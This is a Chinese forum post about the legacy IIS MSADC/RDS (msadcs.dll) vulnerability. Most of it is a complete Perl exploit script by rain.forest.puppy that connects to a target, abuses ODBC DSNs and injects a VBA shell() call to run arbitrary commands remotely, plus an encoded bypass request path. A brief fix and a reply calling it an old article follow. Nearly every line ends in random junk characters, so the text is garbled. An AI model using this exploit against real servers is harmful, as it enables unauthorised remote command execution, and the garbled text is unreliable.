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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [.#$hOsNR  
apWrcaj  
涉及程序: '`A67bdq)  
Microsoft NT server "@'9+$i6  
l=OC?d*m  
描述: AxqTPx7`|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 HvfTC<+H  
PT*@#:MA  
详细: YwTtI ID%  
如果你没有时间读详细内容的话,就删除: K]azUK7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5<ya;iK  
有关的安全问题就没有了。 C g,w6<7  
g8@i_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !m.')\4<  
Y?SJQhN6W  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 T=KrT7  
关于利用ODBC远程漏洞的描述,请参看: ` ];[T=  
K>p:?w  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7^}Z%c  
|`9zE]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :95_W/l  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp VQJ5$4a&  
3G0\i!*t  
这里不再论述。 \Hx#p`B%  
rlh6\Fa  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @[ N~;>  
K1:)J.ca_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $fpDABf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2F)OyE  
^Q+5M"/8  
FQ&VM6_  
#将下面这段保存为txt文件,然后: "perl -x 文件名" H_$f v_  
=:}DD0o*  
#!perl ]V7hl#VO  
# dufHd  
# MSADC/RDS 'usage' (aka exploit) script <5L`d}  
# @?NLME  
# by rain.forest.puppy IaqN@IlWb  
# |"&4"nwa  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Gi_X+os  
# beta test and find errors! ^O9m11  
\nt'I;f  
use Socket; use Getopt::Std; GdwHm  
getopts("e:vd:h:XR", \%args); 2MrR|hLx  
3JO:n6  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; BiAcjN:Z  
,(b~L<zN&  
if (!defined $args{h} && !defined $args{R}) { E)SOcM)  
print qq~ 6h"? 3w  
Usage: msadc.pl -h <host> { -d <delay> -X -v } zT40,rk  
-h <host> = host you want to scan (ip or domain) ( I~XwP&  
-d <seconds> = delay between calls, default 1 second obkv ]~  
-X = dump Index Server path table, if available m/c~2?-;  
-v = verbose h.%Qn vL  
-e = external dictionary file for step 5 <t2?Oii;  
:7]R2JP  
Or a -R will resume a command session g5]DA.&(  
o{,(`o.1O  
~; exit;} U}5KAi 9Z  
Cf 8 - %  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _$x *CP0(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} e q.aN3KB"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :njUaMFoMA  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); rV{e[fGd  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} rJ*WxOoS{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } K1yM'6 Zw  
>@\-m  
if (!defined $args{R}){ $ret = &has_msadc;  5Ww\h  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^E8Hv  
W# /Ol59  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !T1i_  
. "cmd /c "; +w/o  
$in=<STDIN>; chomp $in; U;Wmx  
$command="cmd /c " . $in ; p`ZGV97  
A~t7I{`  
if (defined $args{R}) {&load; exit;} hYx^D>}]  
.5zJ bZ9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Lf<9GYNy>`  
&try_btcustmr; 7m$/.\5  
7tnzgtal  
print "\nStep 2: Trying to make our own DSN..."; (6aZQ`H  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N{@ eV][Q  
7~f l4*  
print "\nStep 3: Trying known DSNs..."; AY]nc# zz  
&known_dsn; w/@%xy  
nhxl#  
print "\nStep 4: Trying known .mdbs..."; l#:Q V:  
&known_mdb; Z/;SR""wa  
9dv~WtH>5  
if (defined $args{e}){ Ku# _   
print "\nStep 5: Trying dictionary of DSN names..."; (\_d'Js(;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 43fA;Uc{Y`  
Ke!O^zP92  
print "Sorry Charley...maybe next time?\n"; Tj#XsD?J  
exit; ld6@&34  
]].21  
############################################################################## y->iv%  
we? #)9Q<  
sub sendraw { # ripped and modded from whisker Ved:w^ ,  
sleep($delay); # it's a DoS on the server! At least on mine... lD XH<W?  
my ($pstr)=@_; |0 VP^md  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P$yJA7]j;%  
die("Socket problems\n"); n40Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ mLqm83  
select(S); $|=1; )<&QcO_  
print $pstr; my @in=<S>; K!mgh7Dx  
select(STDOUT); close(S); i vk|-C'\  
return @in; ^u74WN  
} else { die("Can't connect...\n"); }} &!Vp'l\9  
YWdvL3Bgk,  
############################################################################## ]vrs?  
XDQ1gg`  
sub make_header { # make the HTTP request `z.#O\@o  
my $msadc=<<EOT c eX*|B@=  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 P&VI2k  
User-Agent: ACTIVEDATA u,q#-d0g;  
Host: $ip )}v2Z3:  
Content-Length: $clen 4#uoPkLK  
Connection: Keep-Alive wOP}SMn  
Ws@s(5r  
ADCClientVersion:01.06 dWSH\wm+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fE iEy%o  
Z5K,y19/~  
--!ADM!ROX!YOUR!WORLD! [%y D,8  
Content-Type: application/x-varg [d}1Cq=_  
Content-Length: $reqlen 04TV. /uA  
vC1 `m  
EOT zrM|8Cu  
; $msadc=~s/\n/\r\n/g; j7zQ&ANF  
return $msadc;} <o O_wS@:  
;'urt /  
############################################################################## P[~a'u  
:csLZqn[  
sub make_req { # make the RDS request WqO* vK!t  
my ($switch, $p1, $p2)=@_; 4!wfh)Z  
my $req=""; my $t1, $t2, $query, $dsn; >?tpGEZ\  
Qpc>5p![3  
if ($switch==1){ # this is the btcustmr.mdb query K[H$qJmPX  
$query="Select * from Customers where City=" . make_shell(); I nk76-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . YDJc@*D  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2 Qy&V/E ?  
~}fpe>M:  
elsif ($switch==2){ # this is general make table query ;pJ7k23(  
$query="create table AZZ (B int, C varchar(10))"; f32nO  
$dsn="$p1";} S6uBk"V!  
MG|NH0k  
elsif ($switch==3){ # this is general exploit table query T^ -RP  
$query="select * from AZZ where C=" . make_shell(); `B~%TEvMh  
$dsn="$p1";} 0FBifK  
IN"qJ3<k  
elsif ($switch==4){ # attempt to hork file info from index server ? p]w_l  
$query="select path from scope()"; F/h)azcn  
$dsn="Provider=MSIDXS;";} #+$z`C`  
4U3T..wA  
elsif ($switch==5){ # bad query \BA_PyS?W+  
$query="select"; 4I$#R  
$dsn="$p1";} Im2g2 ]  
[&$z[/4:8c  
$t1= make_unicode($query); /C"E*a  
$t2= make_unicode($dsn); b1+Nm  
$req = "\x02\x00\x03\x00"; c8'?Dd  
$req.= "\x08\x00" . pack ("S1", length($t1)); ugz1R+f_4{  
$req.= "\x00\x00" . $t1 ; AyWCb  
$req.= "\x08\x00" . pack ("S1", length($t2)); \%#jT GFs~  
$req.= "\x00\x00" . $t2 ; '` n\YO.N  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :gmVX}  
return $req;} |"arVde  
}0I! n@  
############################################################################## MEE]6nU  
xZhh%~  
sub make_shell { # this makes the shell() statement V'8 (}(s/  
return "'|shell(\"$command\")|'";} a,X3=+_K  
),86Y:^4  
############################################################################## {az8*MR=X  
-<.>jX  
sub make_unicode { # quick little function to convert to unicode ,+XQ!y%  
my ($in)=@_; my $out; >PTq5pk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } C]}0h!_V  
return $out;} w] VvH"?  
r(RJ&\ !  
############################################################################## 0 }q/VH57  
xf|=n  
sub rdo_success { # checks for RDO return success (this is kludge) qzq>C"z\Y$  
my (@in) = @_; my $base=content_start(@in); u VB&D E  
if($in[$base]=~/multipart\/mixed/){ FYzl-7!Y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} GerZA#  
return 0;} U`D"L4},.  
=^6]N~*,D  
############################################################################## Z# 1Qj9  
NWFZ:h@v  
sub make_dsn { # this makes a DSN for us ;kdJxxUox  
my @drives=("c","d","e","f"); rkV ZP!7!  
print "\nMaking DSN: "; +:D0tYk2B  
foreach $drive (@drives) { 3N?uY2  
print "$drive: "; xi^_C!*J  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p[cC%3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" | r2'B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .S[5CO^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; kj>XKZL10  
return 0 if $2 eq "404"; # not found/doesn't exist cdk;HK_Ve.  
if($2 eq "200") { h)sc-e  
foreach $line (@results) { @>da%cX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} B4|3@X0(  
} return 0;} CpA=DnZ  
XMpPG~XdN  
############################################################################## o+&/ N-t  
RP6QS)|  
sub verify_exists { ${ e{#  
my ($page)=@_; X)\t=><<  
my @results=sendraw("GET $page HTTP/1.0\n\n"); <[(xGrEZV  
return $results[0];} 5'@}8W3b  
`CW=*uBH  
############################################################################## VF;%Z  
/6g*WX2P1  
sub try_btcustmr { 'Kl} y,  
my @drives=("c","d","e","f"); Bp9 u6R  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RE*;nSVFt  
&}6=V+J;  
foreach $dir (@dirs) { yhZ2-*pTg  
print "$dir -> "; # fun status so you can see progress .DHPKz`W0  
foreach $drive (@drives) { :[! rj  
print "$drive: "; # ditto eP6>a7gc  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; y/E%W/3  
$reqlenlen=length( "$reqlen" ); .#CTL|x  
$clen= 206 + $reqlenlen + $reqlen; .^uNzN~  
k: D<Q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); k |M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ZjbMk 3Y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ho 4~-xmN  
%<P&"[F]v@  
############################################################################## b16\2%Ea1  
UkeX">  
sub odbc_error { g\d|/HV K  
my (@in)=@_; my $base; ONg_3vD{  
my $base = content_start(@in); {o AJL  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7N 7W0Ky  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 90 (JP-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Lk4gjs,V  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pFhznH{0  
return $in[$base+4].$in[$base+5].$in[$base+6];} PU[] Nw  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 0jG8Gmh!  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . kk& ([ xqU  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #TXgV0\F  
|}=xA%)  
############################################################################## uK1DC i  
6ID@0  
sub verbose { :(E.sT "R  
my ($in)=@_; 5V8WSnO  
return if !$verbose; ~Cm_=[  
print STDOUT "\n$in\n";} `|+!H.3  
\\xoOA.  
############################################################################## 7;5SK:X%dm  
gM&XVhQJ\  
sub save { xbsp[0I,  
my ($p1, $p2, $p3, $p4)=@_; qJj"WU5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Igrr"NuDZ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Gu-6~^Km9  
close OUT;} /c6:B5G  
|L,_QXA2  
############################################################################## s$s~p +U  
ZuH@qq\  
sub load { SN' j?-  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &C6Z-bS"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "MOM@4\  
@p=<IN>; close(IN); 16Cd0[h?  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); imC>T!-7  
$target= inet_aton($ip) || die("inet_aton problems"); \  2#7B8  
print "Resuming to $ip ..."; "w7wd5h  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; lp+Uox  
if($p[1]==1) { Z^wogIAV  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {S,L %  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ?$J#jhR?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |ZC@l^a7  
if (rdo_success(@results)){print "Success!\n";} n|q $=jE  
else { print "failed\n"; verbose(odbc_error(@results));}} m -]E|  
elsif ($p[1]==3){ %=e^MN1  
if(run_query("$p[3]")){ Z4KYVHD,  
print "Success!\n";} else { print "failed\n"; }} V q4g#PcG  
elsif ($p[1]==4){ .Yg7V'R1  
if(run_query($drvst . "$p[3]")){ ';'gKX!9V  
print "Success!\n"; } else { print "failed\n"; }} =jz [}5  
exit;} 4sMA'fG  
&!N9.e:-]  
############################################################################## 'A2^K5`3  
~T">)Y~+xI  
sub create_table { :< X&y  
my ($in)=@_; '3R o`p{  
$reqlen=length( make_req(2,$in,"") ) - 28; 29z$z$l4  
$reqlenlen=length( "$reqlen" ); _D.4=2@|l8  
$clen= 206 + $reqlenlen + $reqlen; fkk&pu  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3'2>3Y/7Bb  
return 1 if rdo_success(@results); #l 7(W G  
my $temp= odbc_error(@results); verbose($temp); (}*1,N!#  
return 1 if $temp=~/Table 'AZZ' already exists/; &1 t84p:^=  
return 0;} e>J.r("f  
jEu-CU#:  
############################################################################## Z@(m.&ZRx  
46 [k9T  
sub known_dsn { %/.yGAPkx  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .:r l<.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", uSQRI9/ir2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Ndmki 7A  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); nOTe 3?i>  
;x,yGb`  
foreach $dSn (@dsns) { ,)?!p_*@:  
print "."; 4m1@lnjp  
next if (!is_access("DSN=$dSn")); xlIVLv6dO  
if(create_table("DSN=$dSn")){ N.'-9hv  
print "$dSn successful\n"; Ky[s& >02  
if(run_query("DSN=$dSn")){ (! a;}V<7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R/EpfYOX  
print "Something's borked. Use verbose next time\n";}}} print "\n";} MMU>55+-  
q8 SHFKE  
############################################################################## Fzmc#?  
.VXadgM  
sub is_access { ?uh%WN6nU]  
my ($in)=@_; =[do([A  
$reqlen=length( make_req(5,$in,"") ) - 28; F rd>+   
$reqlenlen=length( "$reqlen" ); >lkjoEVQ  
$clen= 206 + $reqlenlen + $reqlen; {c}n."`  
my @results=sendraw(make_header() . make_req(5,$in,"")); s.$:.*k  
my $temp= odbc_error(@results); hm, H3pN  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); -J":'xCP!  
return 0;} WU\Bs2  
z?<Xx?Kk  
############################################################################## dt5`UBvUg  
Rt.2]eZEJ  
sub run_query {  |\FJ  
my ($in)=@_; \ v2-}jU(  
$reqlen=length( make_req(3,$in,"") ) - 28; U{ 52bH<  
$reqlenlen=length( "$reqlen" ); ,8[R0wsBaz  
$clen= 206 + $reqlenlen + $reqlen; C23Gp3_0/  
my @results=sendraw(make_header() . make_req(3,$in,"")); ak_n  
return 1 if rdo_success(@results); U_sM==~  
my $temp= odbc_error(@results); verbose($temp); X"!tx  
return 0;} o%E-K=a  
TUN6`/"  
############################################################################## O[+\` 63F=  
3w&Z:<  
sub known_mdb { ]u|5ZCv0  
my @drives=("c","d","e","f","g"); K |^OnM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L_5o7~`0  
my $dir, $drive, $mdb; |33_="  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?>Bt|[p:s)  
{W'{A  
# this is sparse, because I don't know of many NCp]!=uM;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4Q(w D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :Qu.CvYF  
"\\system32\\certmdb.mdb", LS/ZZAN u  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% m$`4.>J  
wBCBZs$H  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", U!b~vrr^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", C]a iu  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^!6T,7 B B  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]D_ AZI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", =AP0{  
"\\cfusion\\database\\cfexamples.mdb", R-6km Tex>  
"\\cfusion\\database\\cfsnippets.mdb", Bq~?!~\?.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", i4<n#]1!t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", DD'RSV5]  
"\\cfusion\\brighttiger\\database\\cleam.mdb", a;f A0_  
"\\cfusion\\database\\smpolicy.mdb", uQl=?0 85  
"\\cfusion\\database\cypress.mdb", Ask~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !DBaC%TGC  
"\\website\\cgi-win\\dbsample.mdb", H,(4a2zx  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y z],["*Q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 9gFfbvd  
); #these are just 2,rjy|R`  
foreach $drive (@drives) { #]2,1dJ  
foreach $dir (@dirs){ &;[0.:;  
foreach $mdb (@sysmdbs) { m!WDXt  
print "."; NchEay;`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2Uy}#n|)r  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Z8:'_#^@a[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vv1W<X0e<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; MtG~ O;?8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} DfZ)gqp/Av  
}g"K\x:Z  
foreach $drive (@drives) { qf*e2" ~v  
foreach $mdb (@mdbs) { -+n? Q;  
print "."; MC_i"P6a  
if(create_table($drv . $drive . $dir . $mdb)){ TUi<  
print "\n" . $drive . $dir . $mdb . " successful\n"; Q[ .d  
if(run_query($drv . $drive . $dir . $mdb)){ ^,#MfF6  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; uDMyO<\  
} else { print "Something's borked. Use verbose next time\n"; }}}} :@,UPc-+  
} x8Nij: K#  
^}4ysw  
##############################################################################  Fq!- %Y  
.~%,eF;l$  
sub hork_idx { 9R N ge;*  
print "\nAttempting to dump Index Server tables...\n"; w/wU~~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -v~XS-F  
$reqlen=length( make_req(4,"","") ) - 28; p><DA fB  
$reqlenlen=length( "$reqlen" ); =UV=F/Af^  
$clen= 206 + $reqlenlen + $reqlen; 8O.5ML{  
my @results=sendraw2(make_header() . make_req(4,"","")); TnLblkX  
if (rdo_success(@results)){ *}Gu'EU  
my $max=@results; my $c; my %d; ?j$*a7[w  
for($c=19; $c<$max; $c++){ H8$";T(I  
$results[$c]=~s/\x00//g; v]m#+E   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; `$>cQwB,D  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; k(wJ6pc  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Cgn@@P5ZC  
$d{"$1$2"}="";} vb2aj!8_?  
foreach $c (keys %d){ print "$c\n"; } +zzS  
} else {print "Index server doesn't seem to be installed.\n"; }} 8Og)(BC  
F <.} q|b  
############################################################################## XaYgl&x'!x  
<Q?_],ip  
sub dsn_dict { 8zH/a   
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); l`vr({A  
while(<IN>){ "yPKdwP  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (^= Hq'D  
next if (!is_access("DSN=$dSn")); Ts 3(,Y  
if(create_table("DSN=$dSn")){ 6EkD(w  
print "$dSn successful\n"; -P$E)5?^  
if(run_query("DSN=$dSn")){ fZt3cE\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]|4mD3O  
print "Something's borked. Use verbose next time\n";}}} ) q'~<QxI\  
print "\n"; close(IN);} ]]_H|tO  
G9jlpf5>  
############################################################################## l&m'?. g f  
!' jXN82  
sub sendraw2 { # ripped and modded from whisker E']Gh  
sleep($delay); # it's a DoS on the server! At least on mine... u^uo=/  
my ($pstr)=@_; >Av%[G5=h#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g# <M/qn  
die("Socket problems\n"); -u%'u~s  
if(connect(S,pack "SnA4x8",2,80,$target)){ x^JjoI2vf  
print "Connected. Getting data"; !GBGC|avE  
open(OUT,">raw.out"); my @in; l|K`'YS!<{  
select(S); $|=1; print $pstr; 21G:!t4/?n  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nuX W/7M  
close(OUT); select(STDOUT); close(S); return @in; \ /6m  
} else { die("Can't connect...\n"); }} !FR1yO'd>  
:Qklbd[9qF  
############################################################################## 7x :j4  
o)IcAqN$H  
sub content_start { # this will take in the server headers # fl%~Y  
my (@in)=@_; my $c; ^p!bteA>  
for ($c=1;$c<500;$c++) { d^jIsE`  
if($in[$c] =~/^\x0d\x0a/){ g6 3?(+Fz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  kn|z  
else { return $c+1; }}} 1w|V'e?kb  
return -1;} # it should never get here actually kEs=N(  
b{Kw.?85  
############################################################################## %]@K}!)2  
P;!4 VK  
sub funky { i*%2 e)  
my (@in)=@_; my $error=odbc_error(@in); 3a#j&]  
if($error=~/ADO could not find the specified provider/){ 4C_-MJI  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 9=Rj9%  
exit;} 2 -M]!x)  
if($error=~/A Handler is required/){ Zx}.mt#}8  
print "\nServer has custom handler filters (they most likely are patched)\n"; &t w   
exit;} Gg9NG`e6I  
if($error=~/specified Handler has denied Access/){ :}18G}B  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^6 sT$set  
exit;}} |_;Vb  
C&ivjFf  
############################################################################## ywV8s|o  
^y"$k  
sub has_msadc { zorTZ #5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _"`U.!3*  
my $base=content_start(@results); (FAd'$lhX}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); md/Z[du:'  
return 0;} k&P_ c  
;DKwv}  
######################## S Yvifgp  
KCed!OJ+  
y]`@%V2P  
解决方案: t9()?6H\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V ;)q?ZHg  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3Ecm Nwr  
w%k)J{\  
拿出来充数 哈哈
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